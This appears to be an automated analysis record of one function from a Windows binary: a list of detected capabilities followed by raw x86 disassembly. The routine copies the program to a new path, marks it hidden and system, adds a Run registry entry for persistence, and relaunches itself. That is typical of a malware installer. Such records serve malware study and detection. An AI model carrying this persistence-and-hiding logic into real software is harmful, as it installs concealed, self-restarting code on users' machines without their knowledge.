Function at 0x405390
Capabilities:
Check if file exists
Check os version
Create process on windows
Create thread
Persist via run registry key
Set current directory
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b4
mov eax, dword [0x436064]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
call fcn.0041db6e
add esp, 4
push eax
call fcn.0041d853
add esp, 4
call fcn.00401300
mov edi, eax
push edi
mov dword [ebp - 0x1ac], edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x4053f9
push edi
call fcn.0041eed9
add esp, 4
push 6
push edi
call ebx
push edi
call fcn.00401d20
add esp, 4
push 0
push edi
call fcn.00405080
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00401420
mov esi, eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40542f
push esi
call fcn.0041e2e4
add esp, 4
cmp byte [0x439568], 0
jne 0x405444
call fcn.00401040
mov byte [0x439568], 1
mov ecx, dword [0x439598]
mov eax, dword [ecx + 0xa8]
push eax
lea eax, [ebp - 0x110]
call fcn.00402760
add esp, 4
test al, al
je 0x405497
cmp byte [0x439568], 0
jne 0x405478
call fcn.00401040
mov byte [0x439568], 1
mov edx, dword [0x439598]
mov ecx, dword [edx + 0xa8]
push 1
push esi
lea eax, [ebp - 0x110]
call fcn.004029b0
add esp, 8
jmp 0x4054a6
push esi
lea eax, [ebp - 0x110]
call fcn.00401c90
add esp, 4
push esi
call fcn.00402570
add esp, 4
push 6
push esi
call ebx
push esi
call fcn.00401d20
add esp, 4
lea eax, [ebp - 0x1a8]
push eax
mov dword [ebp - 0x1a8], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x1a4], 6
jb 0x4054f4
push 0
push 0
push 0
push 0x405360
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x405563
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405500
sub eax, edx
mov edi, eax
call fcn.00401a50
push 0
lea ecx, [ebp - 0x1b0]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push 0x4335dc
push closesocket
mov ebx, eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x1b0]
test eax, eax
je 0x40555d
push edi
push esi
push 1
push 0
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [ebp - 0x1ac]
mov ecx, esi
lea eax, [ebp - 0x110]
jmp 0x405570
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x405590
test dl, dl
je 0x40558c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x405590
add eax, 2
add ecx, 2
test dl, dl
jne 0x405570
xor eax, eax
jmp 0x405595
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4055e4
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4055e4
mov eax, dword [0x439540]
test eax, eax
je 0x4055b4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 5
push 0
push 0x43360e
push esi
push 0x4339a8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push edi
call fcn.0041d848
add esp, 4
push esi
call fcn.0041d848
add esp, 4
push 0
call fcn.0041ee71
push edi
call fcn.0041d848
add esp, 4
push esi
call fcn.0041d848
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cec2
mov esp, ebp
pop ebp
ret